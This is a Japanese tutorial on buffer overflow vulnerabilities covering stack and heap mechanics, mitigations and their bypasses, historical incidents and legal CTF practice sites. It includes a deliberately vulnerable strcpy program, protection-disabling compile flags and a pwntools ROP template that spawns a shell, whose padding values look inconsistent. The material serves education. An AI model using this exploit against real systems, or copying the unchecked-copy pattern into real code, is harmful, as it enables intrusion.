Buffer Overflow (BOF) は「確保されたバッファのサイズを超えてデータを書き込み、隣接するメモリ領域を破壊する」メモリ安全性脆弱性の古典中の古典。1988 年の Morris Worm から 2024 年の glibc CVE-2024-2961 まで現役の攻撃面であり続けている。本稿はスタック BOF の力学、ヒープ BOF の概要、緩和策と bypass の軍拡競争、歴史的事件、そして合法な学習プラットフォームまでを通しで扱う。
難しく見えても本質は次の 3 つだけ。(1) Buffer Overflow は 「箱 (バッファ) からあふれた水が、隣の机の上の物を押し流してしまう」現象。プログラムが用意した小さな箱に大きなデータを流し込むと、隣の 「次にこの関数が終わったら、ここに戻ってね」と書かれた紙 (戻りアドレス) が上書きされてしまう。(2) その紙を攻撃者が書き換えると、プログラムが攻撃者の用意したコードに「戻る」 = 任意コード実行 (RCE)。(3) Rust / Go の時代になっても、Microsoft / Google の CVE の 約 7 割は今もメモリ安全性バグ — 30 年以上現役の問題。— ここを土台に各章を順に開いていけばいい。
なぜ BOF はいまも load-bearing なのか #
「Rust や Go の時代だから、もう過去の問題では?」と思われがちだが、Microsoft Security Response Center / Google Project Zero の公開統計は 「自社の CVE の約 70% は依然としてメモリ安全性バグ」 と報告している。Linux カーネル / Windows 内部 / Chrome / Firefox / OpenSSL / FFmpeg など、現代インフラを支える基盤コードの大半は未だに C/C++ で書かれている。
C/C++ は 「速いがガードレールがない山道」。プログラマがハンドルを誤ると即崖下に落ちる ( = 隣のメモリを壊す) のが構造的に許される。Java / Python / Rust は 「ガードレール付きの高速道路」 — はみ出そうとした瞬間にコンパイラやランタイムが止める。だから Rust への切替が現代の流れだが、世界中のインフラを支える OS カーネル / OpenSSL / ブラウザは 過去 50 年蓄積した C/C++ 資産の上にあるので、全部置き換えるのには 20 年以上かかる、というのが現代の景色。
BOF が現在も生きている理由は C/C++ 言語の根本設計に行き着く。
- 配列アクセスに境界チェックがない —
buf[1000000]を書き込んでもコンパイラもランタイムも止めない - 標準関数に「相手側のサイズを知る引数」がない —
strcpy/gets/sprintf/memcpyなど、入力長を信じて書き込む API 設計 - ポインタが任意のメモリを指せる — 範囲外参照も allocator を経由しないアクセスも可能
- メモリの所有権がコンパイル時に追跡されない — use-after-free, double-free が静的に防げない
Rust / Go / Swift / Java / Python / Ruby / C# / JavaScript はコンパイラやランタイムがこれらをチェックすることで構造的に防いでいる。Rust の Linux カーネル混入 (2022〜)、Microsoft の TypeScript→Rust 移行、Android の新規ネイティブコードを Rust 標準といった動きはこの帰結。それでも完全置換には今後 20 年以上かかる、というのが業界の共通認識。
スタックベース BOF の仕組み #
BOF の最古典であるスタックベース (stack-based buffer overflow) を関数呼び出し時のスタックフレーム構造から解剖する。ローカル変数のバッファ + 戻りアドレスの位置関係こそ、攻撃の発火点。
関数を呼ぶと、メモリ上に 「自分のメモ帳 (バッファ)」と 「終わったら戻る場所」(戻りアドレス)が隣同士に置かれる。メモ帳が 64 行しか書けないのに、攻撃者が 100 行のデータを流し込むと、はみ出した分が 「戻る場所」の付箋を書き換えてしまう。書き換える内容を攻撃者が任意に選べるので、「終わったら攻撃者のコードへ戻れ」と書き換えれば任意コード実行が成立する。strcpy や gets がサイズ確認なしにメモ帳を超えて書き込んでしまうのが、この攻撃の入口。
x86_64 Linux のスタックフレーム (高位 → 低位) #
| 領域 | 役割 |
|---|---|
| caller の引数 / 環境 | 高位アドレス側 (0x7fff...ff00 など) |
| ★ saved RIP (戻りアドレス) | caller の次の命令を指す = 攻撃の標的 |
| saved RBP | 前のスタックフレームの base pointer |
| ローカル変数 | 関数内の small variables |
| char buf[64] | スタック上に確保された 64 byte バッファ (低位アドレス側) |
// vulnerable.c
#include <string.h>
#include <stdio.h>
void vulnerable(char *input) {
char buf[64]; // スタック上に 64 byte
strcpy(buf, input); // ★ サイズチェックなし → 64 byte 超えると saved RIP 破壊
printf("%s\n", buf);
}
int main(int argc, char **argv) {
if (argc > 1) vulnerable(argv[1]);
return 0;
}$ gcc -fno-stack-protector -no-pie -z execstack -O0 vulnerable.c -o vulnerable
# saved RIP までの距離は buf + saved RBP = 64 + 8 = 72 byte
$ ./vulnerable $(python3 -c 'print("A"*72 + "BBBBBBBB")')
Segmentation fault # RIP = 0x4242424242424242 (= "BBBBBBBB")攻撃者が入力に詰め込むパターン #
- シェルコード注入 — buf にシェルコード (
/bin/shを起動する数十バイトのアセンブリ) + 末尾に buf 自身のアドレスを saved RIP として詰める。NX (DEP) で防がれる - ret2libc — saved RIP を libc の
system()に向け、引数として/bin/shの文字列アドレスを渡す。ASLR で防がれる - ROP (Return-Oriented Programming) — 既存コード片 (gadget) を
retで繋ぎ、任意処理を構築。現代 BOF exploit の主流 - JOP / SROP / COOP — ROP の派生
gets()— サイズ引数なし。C11 で削除されたが残存コードに今でも見つかるstrcpy()/strcat()/sprintf()— サイズなし。strncpy 系にも罠あり (NULL 終端漏れ)scanf("%s", buf)— サイズ指定なしの %s は実質 gets。%63s と書く必要memcpy(dst, src, attacker_controlled_len)— len が攻撃者入力なら同じ問題
ヒープベース BOF — chunk metadata を狙う #
スタックではなくヒープ (malloc() / new で確保された領域) で起きる BOF が ヒープ BOF。スタックほど直接的に PC を奪えないが、heap allocator の管理メタデータを破壊することで任意のメモリ書き換え (write-what-where) に発展できる。
ヒープは 「コインロッカーの集合」のようなもので、利用者は管理人 (= allocator) に「○○ byte の箱ください」と頼んで使う。管理人は 各箱の隣に「次の箱は誰の」「サイズはいくつ」というメモを貼って管理している。ヒープ BOF はこの 管理メモを書き換えて、管理人を騙し、「他人の箱を自分のものだ」と勘違いさせる攻撃。スタック BOF より直接的に戻りアドレスは奪えないが、任意のメモリ位置を書き換えられる力を得るので、現代の Chrome / iOS 系の高度なエクスプロイトはほぼヒープ系が主役。
glibc の malloc (ptmalloc2) では各 chunk は [size | prev_size | data...] というヘッダを持ち、free 済み chunk は double-linked list で繋がる。ヒープ BOF で隣接 chunk の fd / bk ポインタを書き換えると、後続の unlink() 処理で任意アドレスへの書き込みが成立する (古典的な「unlink 攻撃」)。
現代の glibc は unlink() に整合性チェックを大量に追加したが、House of Force / House of Spirit / fastbin dup / tcache poisoning / large bin attack といった世代ごとの攻撃テクニックが今も研究・公開されている。glibc 2.35 以降の tcache 系は特に頻繁に新攻撃が出る領域。
ヒープ BOF と並ぶメモリ安全性脆弱性 #
- Use-After-Free (UAF) —
free()した後のポインタを使用 → メモリは別の用途に再割当されているため、書き込みで他データを壊す - Double Free — 同じポインタを 2 回
free()→ free list が破壊される - Type Confusion — オブジェクトを違う型として扱う (C++ の vtable 系で頻発)
- Out-of-Bounds Read — Heartbleed (CVE-2014-0160) がこれ。書き込みでなく読み取りで隣接メモリの中身が漏れる
BOF / UAF / Double Free / Type Confusion / OOB Read はすべて、メモリ所有権と境界を言語が追跡しない C/C++ 設計の帰結。
緩和策と bypass の軍拡競争 #
BOF は完全には消せないため、OS とコンパイラとハードウェアが多層的に緩和策を積み上げてきた。それぞれの緩和策には bypass がある。
各緩和策は 「家の防犯対策」を 1 つずつ追加するイメージ。Stack Canary = ドアに 「開いたら鳴るブザー」、DEP/NX = 「盗品を中で使えないようにする錠」、ASLR = 「家の場所を毎回ランダムに変える」、PIE = 「家具の配置も毎回ランダムに変える」、CFI = 「家の中の通路を限定する」。1 つずつでは破られても、全部重ね合わせれば攻撃者の手間が指数的に上がる — これが Defense in Depth の本当の意味。ただし「全部入れた = 絶対安全」ではない (Pwn2Own で毎年破られている)、と肝に銘じる。
| 緩和策 | 導入時期 | 狙い | 主な bypass |
|---|---|---|---|
| Stack Canary (SSP) | 1998 (StackGuard) → 2000s 標準化 | saved RIP の手前に秘密値を置き、return 前に検証 | info leak で canary を読み出し / 別経路から ret に到達 |
| DEP / NX bit | 2003-2005 | データ領域を実行不可に → buf のシェルコードが動かない | ROP (既存コード片を繋ぐ) / ret2libc |
| ASLR | 2001 (PaX) → mainline 2005 | スタック / ヒープ / libc / 実行ファイルの読込アドレスをランダム化 | info leak / partial overwrite / brute force (32-bit) / BROP |
| PIE | 2010s 標準 | 実行ファイル本体もランダム配置 | info leak で実行ファイルベース取得 / GOT overwrite |
| CFI / Intel CET / ARM PAC | 2018-2020s | 関数ポインタの飛び先と ret の戻り先を実行時に検証 | CFI を満たすパスを使った data-only 攻撃 / COOP |
| Memory-Safe Languages | Rust 2015 / Go 2009 / Swift 2014 | 言語自体に境界チェックを組み込む — BOF クラスが原理的に発生しない | unsafe ブロック内のバグ / FFI で C を呼んだ先 |
現代のバイナリ (Linux distro 配布物) は SSP + DEP + ASLR + PIE + RELRO の 5 段が標準。checksec.sh / pwntools の checksec で確認できる — 1 つでも欠けていれば exploit 難易度が大きく下がる。
$ checksec --file=./vulnerable
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY
Full RELRO Canary found NX enab. PIE en. No RPATH No RUNPATH No symbols Yes
# pwntools の Python から
$ python3 -c 'from pwn import *; print(checksec("./vulnerable"))'1 つの info leak (任意のアドレス読出し) と 1 つの BOF を組み合わせる ことで、現代の exploit はほぼ任意の保護を貫通できる。Pwn2Own で年間複数回、Chrome / Safari / iOS / Windows カーネルの完全 sandbox 脱出が成立している。緩和策は「壁を高くする」もので、「完全に防ぐ」ものではない。
歴史的事件 — BOF が変えた世界 #
| 年 | 事件 | 仕組み | 影響 |
|---|---|---|---|
| 1988 | Morris Worm | fingerd の gets() に対するスタック BOF + sendmail debug + rsh brute force |
インターネットの ~10% を停止。世界初のインターネットワーム。CERT 設立の契機 |
| 1996 | Aleph One "Smashing the Stack" (Phrack 49) | スタック BOF とシェルコード作成を初めて教科書的に解説 | 現代エクスプロイト技術の起点。今も読まれる古典文献 |
| 2001 | Code Red (CVE-2001-0500) | IIS Index Server に対する BOF | 35 万台の Windows サーバが感染、ホワイトハウスへ DDoS を仕掛ける設計 |
| 2003 | SQL Slammer (CVE-2002-0649) | MS SQL Server 2000 に対する 376 byte の UDP BOF パケット | 10 分で 7.5 万台に拡散、世界中のインターネット帯域を圧迫、ATM が停止 |
| 2014 | Heartbleed (CVE-2014-0160) | OpenSSL TLS heartbeat の out-of-bounds READ | 17% の HTTPS サーバから秘密鍵 / セッション / パスワードがリーク可能に |
| 2017 | WannaCry / EternalBlue (CVE-2017-0144) | SMBv1 の構造体パース時のヒープ overflow | 20 万台以上の Windows がランサムウェアに感染。NHS / 鉄道 / 自動車工場が停止 |
| 2024 | glibc CVE-2024-2961 | iconv の ISO-2022-CN-EXT の out-of-bounds write |
PHP filter チェーンと組合せて RCE に発展する PoC が公開 |
この事実が、Microsoft / Google が新規コードを Rust に切り替える強い動機になっている。Linux カーネルの Rust 受け入れ (2022)、Windows カーネル一部の Rust 化、Android の新規ネイティブコードを Rust 標準といった動きはすべてこの帰結。
学び方 — 合法な練習プラットフォーム #
他人のシステムで試す = 不正アクセス禁止法。意図的に脆弱に作られた練習環境で学ぶのが正しい入口。
BOF を学びたいなら、(1) pwn.college (アリゾナ州立大の無料大学コース、英語) または (2) picoCTF (カーネギーメロン主催の入門 CTF) から始めるのが最も速い。(3) OverTheWire の Narnia でスタック BOF の古典問題を解くと感覚が掴める。必要なツールは gdb + pwndbg / GEF (拡張デバッガ) と pwntools (Python ライブラリ) の 2 つだけ — どちらも Kali Linux に最初から入っている。「動くものをまず作る → なぜ動くか後で分解する」の順序が、結果として一番速く理解が進む。
| プラットフォーム | 内容 | 難度 |
|---|---|---|
| pwn.college | アリゾナ州立大の無料コース。スタック BOF → ROP → カーネル exploit までカリキュラム完備 | 入門〜上級 |
| pwnable.kr | 韓国の老舗 pwn 専門サイト。level 別の脆弱バイナリ | 入門〜上級 |
| pwnable.tw | 台湾の上級 pwn サイト。heap / kernel exploit 充実 | 中級〜超上級 |
| picoCTF | カーネギーメロン主催の入門 CTF。PicoGym で常時公開 | 入門 |
| HackTheBox | General challenges → Pwn カテゴリ | 入門〜上級 |
| OverTheWire (Narnia, Behemoth, Vortex) | 古典的な BOF / format string の wargame | 入門〜中級 |
| Microcorruption | Matasano の ARM 組込み機器 BOF wargame | 入門〜中級 |
| Exploit-Education (Phoenix, Nebula) | 段階的に保護を上げていくシリーズ | 入門〜中級 |
必要なツール (Kali Linux にすべて入っている) #
# 動的解析・デバッガ
$ gdb + pwndbg / GEF / peda # 拡張済 GDB (現代 pwn の必需品)
$ strace -f ./vulnerable # システムコールトレース
$ ltrace ./vulnerable # ライブラリ関数呼出しトレース
# 静的解析・バイナリ解析
$ checksec --file=./bin # 緩和策確認
$ ROPgadget --binary ./bin # ROP gadget 列挙
$ ropper --file ./bin # 同上、別実装
$ objdump -d ./bin | less # 逆アセンブリ
$ radare2 ./bin # 軽量リバースエンジニアリング
$ ghidra # NSA 製 GUI 逆コンパイラ
# Exploit 開発
$ python3 + pwntools # exploit script の事実上の標準
$ one_gadget ./libc.so.6 # libc 内の「1 アドレスで execve('/bin/sh')」位置列挙最小の pwntools exploit テンプレート #
from pwn import *
elf = ELF("./vulnerable")
libc = ELF("./libc.so.6")
p = process("./vulnerable") # ローカル / remote("host", port) でリモート
# 1. info leak で libc ベースを取る
p.sendline(b"A" * 64 + p64(elf.plt["puts"]))
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
libc_base = leak - libc.sym["puts"]
# 2. ROP chain 構築
rop = ROP(libc)
rop.raw(b"A" * 72) # padding to saved RIP
rop.system(next(libc.search(b"/bin/sh\x00")) + libc_base)
p.sendline(rop.chain())
p.interactive() # シェル取得本物のサービスに対して試した時点で違法。雇用主の社内ペンテストでも書面同意 (RoE) が必須。Kali Linux 記事の「法と倫理」と同じ原則がここにも適用される。
まとめ — 2026 年時点の誠実な向き合い方 #
- BOF は「C/C++ にメモリ境界チェックがない」という 1970 年代の言語設計の帰結。インターネット規模で 30 年以上にわたって主要な攻撃面であり続けている
- スタック BOF (
strcpyで saved RIP を上書き →retで制御奪取) とヒープ BOF (chunk metadata 破壊 → write-where) は同じ根 - 緩和策の積み上げ (SSP / DEP / ASLR / PIE / CFI) と bypass の進化 (ROP / info leak / heap grooming) という軍拡競争の歴史として理解すると、現代の memory-safety CVE writeup を地図がある状態で読める
- 最終的な解はメモリ安全な言語に書き直す。完全置換には 20 年以上かかる前提で、以下を組み合わせる:
checksecで緩和策スタックを正しく有効化- fuzzing で memory-safety バグを早期発見
- 新規プロジェクトは Rust / Go から始める
- 既存 C/C++ には bounds-checked な代替 API を選ぶ (
strncpy_s/snprintf/ Rust ラッパ)